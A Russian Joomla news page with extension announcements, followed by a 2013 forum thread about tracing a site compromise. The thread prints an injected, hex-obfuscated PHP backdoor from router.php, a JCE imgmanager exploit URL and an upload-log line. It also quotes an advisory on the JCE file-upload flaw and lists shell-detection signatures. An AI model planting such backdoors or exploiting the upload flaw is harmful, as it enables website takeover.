Новости Joomla

Вышла новая версия joomLab Article Slider 1.1.0

Вышла новая версия joomLab Article Slider 1.1.0

Модуль joomLab Article Slider загружает материалы динамически (ajax), что позволит максимально увеличить скорость загрузки страницы, если на ней используется много контентных модулей, а в каждом таком модуле выводится много материалов. 
Так же после загрузки модуля, любой пользователь Вашего сайта, может отфильтровать материалы  в модуле  по категориям и/или тегам.
Материалы в модуле выводятся в виде адаптивного слайд-шоу (используется swiper.js).

Что нового?

Добавлена возможность ajax фильтрации материалов по категориям и/или тегам в любом модуле на странице сайта

Скачать модуль > https://joomlab.ru/extentions/modules/joomlab-article-slider
Демо > https://demo.joomlab.ru/ajax-article

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Ещё один генератор ИИ-файлов llms.txt и llms-full.txt.

Основные особенности/возможности компонента:

  • Генерация по стандарту: Автоматическое создание файла-визитки llms.txt и расширенной версии llms-full.txt с аннотированным списком материалов.
  • Интеллектуальная работа с контентом: Компонент использует мета-описания (Meta Description) из статей и пунктов меню, превращая SEO-настройки сайта в качественный контекст для нейросетей.
  • Просмотреть результат генерации файлов можно сразу в рабочей области компонента. После внесения корректив (через Настройки компонента. При отладке лучше открыть три вкладки в браузере: Настройка — Геренация/Превью — Список Материалов/Категории/Меню.) — проводим перегенерацию, смотрим результат до полной «победы».
  • Автоматизация и безопасность: Синхронизация с sitemap.xml, группировка по категориям и автоматическое создание резервных копий (.bak) при каждой генерации.
  • Гибкое управление: Возможность исключения определенных категорий и/или статей и/или пунктов меню, а также простая настройка через стандартную админпанель Joomla.
  • Подробное руководство/справка: Пошаговая инструкция для пользователя в Настройках компонента для редакторов с базовым знанием администрирования Joomla.

👉 Важно учесть.
1️⃣ Компонент Генератор LLMs.txt изначально составляет базовый список ссылок на основе sitemap.xml и сверяется с ним на предмет: запрета индексации url в robots.txt, тегов noinex/nofollow. Это экономит время на проверку «закрыть от индексации», поскольку компонент генерации Sitemap.xml уже реализовал эту задачу. Посему, формирование ссылок для ИИ имеет комплексный подход, составление грамотного/валидного/релевантного sitemap.xml никто не отменял.

2️⃣ Тексты-описания ссылок формируются из Meta Description com_content (только компонент Материалы) и выбранных пользователем Меню сайта. Важно, чтобы Meta Description были уникальными и релевантными, соответствовали базовому seo. Составленные «на отшибись» Description для ИИ — «не катит» (впрочем, для поисковых систем они тоже «не канали»).

Разработчик - участник нашего сообщества Александр Кузнецов (@newvksan).

Страница расширения

@joomlafeed

#joomla #ии #ai

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

Это Joomla-компонент для публикации AI-ready карты сайта и автоматической генерации файлов llms.txt, llms-full.txt и llms.json по концепции llmstxt.org.  Также о концепции llms.txt говорит Google в своей справке Lighthouse. Решение помогает LLM-моделям, AI-агентам, GEO/AI SEO-процессам и внутренним автоматизациям получать структурированные данные о сайте без ручной сборки JSON и Markdown.

С помощью WT LLMs можно:
- создать структурированное описание сайта для AI-агентов;
- управлять профилем сайта, картой интентов и каноническими страницами для этих интентов из админки Joomla;
- генерировать llms.txt и llms.json;
- использовать REST API для автоматического заполнения данных;
- отдавать публичную schema-инструкцию для AI-агентов;

В комплект компонента входит плагин markdown-версии страниц Joomla. Системный плагин Joomla, который добавляет альтернативное Markdown-представление страниц сайта. Он позволяет отдавать содержимое страницы в более чистом текстовом формате, удобном для AI-агентов, LLM, поисковых систем и технических интеграций.
Плагин добавляет в ссылки на AI-файлы.

Пакет подходит для сайтов на Joomla 5+, которым важно сделать контент понятнее для LLM, AI-поиска, ассистентов и будущих систем машинного чтения.

Видео:
- ВК Видео
- RuTube
- YouTube

Ссылки:
Страница расширения
GitHub

@joomlafeed

1 2  Все   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 30 Ответов
  • 9331 Просмотров
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Как оследить бажный компонет (дыру)?
« : 21.01.2013, 15:07:32 »
Скажите пожалуйста. Как можно отследить через какую дыру влезли на сайт?

Допустим я уже поставил скрипт, отслеживающий изменения в файлах. Сайт был норм, но потом появились шеллы.
Что можно предпринять что бы узнать через что был залит шелл?  Или шелл возможно залить ттлько через админку? И на сайте где-то есть баг, позволяющий сменить пароль?  Т.к. пароль к админке был поменян.

Спойлер
[свернуть]
Записан
*

yuri-design

  • Давно я тут
  • 652
  • 76 / 5
Re: Как оследить бажный компонет (дыру)?
« Ответ #1 : 21.01.2013, 16:55:29 »
Записан
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Как оследить бажный компонет (дыру)?
« Ответ #2 : 21.01.2013, 17:04:21 »
Цитировать
Т.к. пароль к админке был поменян.
и версия движка 1.5.10 или 1.5.12 а нет путаю 1.5.20 или
экстрасенсы на пенсии
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #3 : 21.01.2013, 19:36:04 »
Не, версия Версия 1.5.22
Вроде фишка со знаком ковычки не проканывает.  Скиньте плз  какую надо строку в браузер вводить что бы задействовать эксплоит.
Записан
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Как оследить бажный компонет (дыру)?
« Ответ #4 : 21.01.2013, 19:58:14 »
Цитировать
Скиньте плз  какую надо строку в браузер вводить что бы задействовать эксплоит.
а ни чего ломать за вас не надо случайно?
или Google отменили
ключ может еще дать от к..... ;D
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #5 : 21.01.2013, 20:45:18 »
Цитата: flyingspook от 21.01.2013, 19:58:14
а ни чего ломать за вас не надо случайно?
или Google отменили
ключ может еще дать от к..... ;D


Везде только описание бага. Мол надо вставить кавычку и т.п. этот метод не проканывает. Прошу дать на проверку бажности что-нибудь для движка 1.5.22
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #6 : 21.01.2013, 20:50:28 »
Ещё в файл   www/htdocs/includes/router.php   прописыают это

function _parseReqRoute($uri) {
      if($uri = JRequest::getVar('options')) {
         $vars = "\x61\x73\x73\x65\x72\x74";
         if(@$vars(get_magic_quotes_gpc()? stripslashes($uri) : $uri)) {
            return true;
         }
      }
   }
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #7 : 22.01.2013, 14:15:51 »
Сначала идёт куча запросов
Спойлер
[свернуть]


Потом уже шелл появляется

94.242.233.70 - - [21/Jan/2013:22:17:09 +0000] "POST /images/stories/e62mju.php HTTP/1.0" 200 240 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"


Как можно записать полный лог, что бы прояснить ситуацию?
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #8 : 22.01.2013, 14:17:11 »
Ещё  вопрос что за цифры после  200?  Это размер данных?  Может если многобой - значит загрузка была всё-таки через админку?

HTTP/1.0" 200 5504 "-"
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #9 : 23.01.2013, 13:02:58 »
Нашёл в логах багу по стрчке из сплоита
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20

Прошу пояснить как можно пропатчить без переустановки компонент com_jce.

Или плз напишите все папки, в которых он расположен хочу убрать из них код, и посмотреть сколько атак будет произведено.


Записан
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Как оследить бажный компонет (дыру)?
« Ответ #10 : 23.01.2013, 13:44:02 »
А что мешает переустановить JCE?
Записан
*

Dron79

  • Захожу иногда
  • 321
  • 37 / 0
  • Век живи - век учись!
Re: Как оследить бажный компонет (дыру)?
« Ответ #11 : 23.01.2013, 14:43:33 »
Это получается в com_jce дырка?
Записан
кодинг на php.
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Как оследить бажный компонет (дыру)?
« Ответ #12 : 23.01.2013, 14:47:11 »
наверно.. до версии 2.0.10 он уязвимый. или как то так.
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #13 : 29.01.2013, 12:46:46 »
Цитата: wishlight от 23.01.2013, 13:44:02
А что мешает переустановить JCE?

Я не знаю как. Это же джумала. Тут всё сложно.  Вообще хотел сделать такую штуку.  Оставить компонент, но когда будет атака - что бы просто записывался мой файл (псевдошелл).

Вот только не знаю как это реализовать.

Вообще не понимаю что за строка
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743

Что за  6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743

Меняется ли она. Или тля записи файла должна быть неизменна.


Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #14 : 29.01.2013, 14:22:56 »
о нет... открыл папку с компонентом а там 600 файлов...   Так просто не разобраться.  Придётся удалять (
Записан
*

Dron79

  • Захожу иногда
  • 321
  • 37 / 0
  • Век живи - век учись!
Re: Как оследить бажный компонет (дыру)?
« Ответ #15 : 29.01.2013, 14:33:35 »
Удалить через менеджер расширений. оставшееся после удаления файлы, удалить вручную. После этого заново поставить новую версию компонента.
Записан
кодинг на php.
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #16 : 29.01.2013, 16:53:54 »
Ну да, так и сделал. Но оставшиеся файлы вручную не удалял. Ибо не знаю где могут остаться.
Записан
*

Funaki

  • Осваиваюсь на форуме
  • 13
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #17 : 30.01.2013, 12:18:25 »
Цитата: Ivankalikemanka от 29.01.2013, 12:46:46
Я не знаю как. Это же джумала. Тут всё сложно.  Вообще хотел сделать такую штуку.  Оставить компонент, но когда будет атака - что бы просто записывался мой файл (псевдошелл).

Вот только не знаю как это реализовать.

Вообще не понимаю что за строка
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743

Что за  6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743

Меняется ли она. Или тля записи файла должна быть неизменна.
взломали по такой же схеме несколько сайтов ещё картинку злую заливают:)
вот вопрос, а что если просто вставить редирект
RedirectPermanent /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20 http://homr

или просто удалить JCE = остановит?
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #18 : 30.01.2013, 12:59:27 »
ну я скачал сплоит. проверил - картинка норм заливается. Переустановил JCE - сплоит перестал работать.

Примечательно то, что есть пачка сайтов со старым JCE, но сплоит категорически отказывается работать под большинство. Как так ума не приложу.
Записан
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Как оследить бажный компонет (дыру)?
« Ответ #19 : 30.01.2013, 20:34:58 »
Цитировать
или просто удалить JCE = остановит?
если уже сломали то - нет
только чистить
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #20 : 30.01.2013, 20:47:19 »
Цитата: flyingspook от 30.01.2013, 20:34:58
если уже сломали то - нет
только чистить

Ну, просто шелы надо удалить, и прочие штуки которые запихнули.  А сам JCE - можно просто удалить. Ещё раз отмечу что сплоит не все версии пробивает.

Хотел бы спросить норм скрипт (прогу для поиска шеллов и прочих редиректов).

Сам ищу по старинке прогой serch and replace по этим строкам
preg_replace("/./e
eval      -  ZXZhbA -  \x65\x76\x61\x6c   (hex)
base64_decode     -    YmFz (base 64)   -    \x62\x61\x73\x65\x36\x34 (hex)
gzinflate    -     -    \x67\x7A\x69\x6E\x66\x6C\x61\x74\x65 
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #21 : 30.01.2013, 20:51:03 »
Ах да, если кто подскажет основные дыры по заливке шеллов в папку images на движках серии 1.5.22 - 1.5.26 (через ядро Joomla)  или самые бажные компоненты.

Т.к. заливают дор регулярно, и видимо через какой-то эксплоит, который эксплуатирует уж очень явную дыру (как в случае с jce)
Записан
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Как оследить бажный компонет (дыру)?
« Ответ #22 : 31.01.2013, 09:16:24 »
Цитировать
Т.к. заливают дор регулярно, и видимо через какой-то эксплоит, который эксплуатирует уж очень явную дыру (как в случае с jce)
и логи ни чего не пишут? мистика просто
1 - вы не дочистили, и это скорей всего (уже пальцы болят писать соседние сайты тоже смотрите)
2 - боты массово бьют по JCE и nonumber, ну и бывают индивидуальные случаи
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #23 : 31.01.2013, 13:47:00 »
Цитата: flyingspook от 31.01.2013, 09:16:24
и логи ни чего не пишут? мистика просто


Логи пишут.  Но очень много. Иногда кажется что запущен какой-то сканер на уязвимости, который проверяет баги.  Из-за этого в логах куча записей.

Возьмём случай с JCE.  
1) Есть сайт. На нём старый JCE. Сатй был взломан.
2) Открываем логи. видим строку /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20

Кажется что сайт был взломан через JCE. Качаем эксплоит JCE-бот.  Пробуем - ничего не выходит.

3) Ищем дальше.  

Так к чему это я? Когда в логах идёт проверка на уязвимости или много мусора - будет сложно определить через что взломан сайт. Придётся каждую шнягу проверять. Это целую неделю надо сидеть.  

Вот мои компоненты.  Вроде бы там нет nonumber.  А JCE - не уязвим для эксплоита - проверил. Хотя может проверял не так.
http://i53.fastpic.ru/big/2013/0131/09/e917230842441a18cc3567f2aebb7009.jpg
http://fastpic.ru/view/53/2013/0131/af33415a62fa6dc8e89d623d622ab2f1.jpg.html

Записан
*

zerost

  • Новичок
  • 3
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #24 : 31.01.2013, 15:19:57 »
вопрос к спецам:
я начинающий, поэтому никак не разбирусь, что делает данная функция:
function _parseReqRoute($uri) {
      if($uri = JRequest::getVar('options')) {
         $vars = "\x61\x73\x73\x65\x72\x74";
         if(@$vars(get_magic_quotes_gpc()? stripslashes($uri) : $uri)) {
            return true;
         }
      }
   }
Записан
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Как оследить бажный компонет (дыру)?
« Ответ #25 : 31.01.2013, 20:06:48 »
Цитировать
Качаем эксплоит JCE-бот.  Пробуем - ничего не выходит.
вы что хотите научится ломать?
Цитировать
А JCE - не уязвим для эксплоита - проверил. Хотя может проверял не так.
думаю все не так
Цитировать
Вроде бы там нет nonumber.
это в плагинах
Записан
*

zerost

  • Новичок
  • 3
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #26 : 31.01.2013, 20:22:29 »
чтобы научиться защищать, для этого нужно научиться ломать...
Записан
*

Ivankalikemanka

  • Захожу иногда
  • 59
  • 0 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #27 : 05.02.2013, 13:16:56 »
Цитата: flyingspook от 31.01.2013, 20:06:48
вы что хотите научится ломать?думаю все не такэто в плагинах

я проверял дырявость дырявого плагина и работоспособность эксплоита.
Нет смысла переставлять на 100 сайтов компонент. Легче проверить сначала дыряв ли он. Тем более в паблике только 1 эксплоит пот JCE, который заливает картинку и переименовывает потом её с расширением php.

Если я буду каждый день дырявую джумалу вместе с багоплагинами патчить - мне времени не хватит даже в носу поковырять.
Записан
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Как оследить бажный компонет (дыру)?
« Ответ #28 : 09.03.2013, 08:12:23 »
Компонент JCE только позволяет загрузить шелл! или стороний код! для того чтобы это сделать как минимум у пользователя должны быть права автора!, но не имея этих прав вы ничего не сможите сделать!

P.S: Читайте вниматильней багтреки!
http://www.securitylab.ru/vulnerability/424641.php
 
Цитировать
2. Уязвимость существует из-за того, что сценарий components/com_jce/editor/extensions/browser/file.php (когда параметр "chunk" установлен на значение больше "0") неправильно проверяет загружаемые файлы. Удаленный пользователь может с помощью специально сформированного PHP файла с расширением, к примеру, ".jpg.pht" выполнить произвольный код на целевой системе.

Примечание: Для успешной эксплуатации уязвимости необходимо иметь привилегии "Author".
 
« Последнее редактирование: 09.03.2013, 08:15:51 от winstrool »
Записан
*

artlux

  • Захожу иногда
  • 466
  • 58 / 0
Re: Как оследить бажный компонет (дыру)?
« Ответ #29 : 06.05.2013, 23:04:10 »
Цитировать
Если я буду каждый день дырявую джумалу
Ivankalikemanka, И вот почему Joomla дырявая а все что ставите на нее не считаете дырявым?
Записан
Разработка расширений: Joomla 1.5+, Bitrix 12+, Мобильные приложения для сайтов под Android (PhoneGap).
Для бонусов: Z136221252622, R242724126443, U423945028202. +79211696184(Мегафон), или плюсик в репу!
1 2  Все   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Как найти дыру?

Автор buto

 Ответов: 17
Просмотров: 4302 		Последний ответ 29.12.2015, 22:03:29
от buto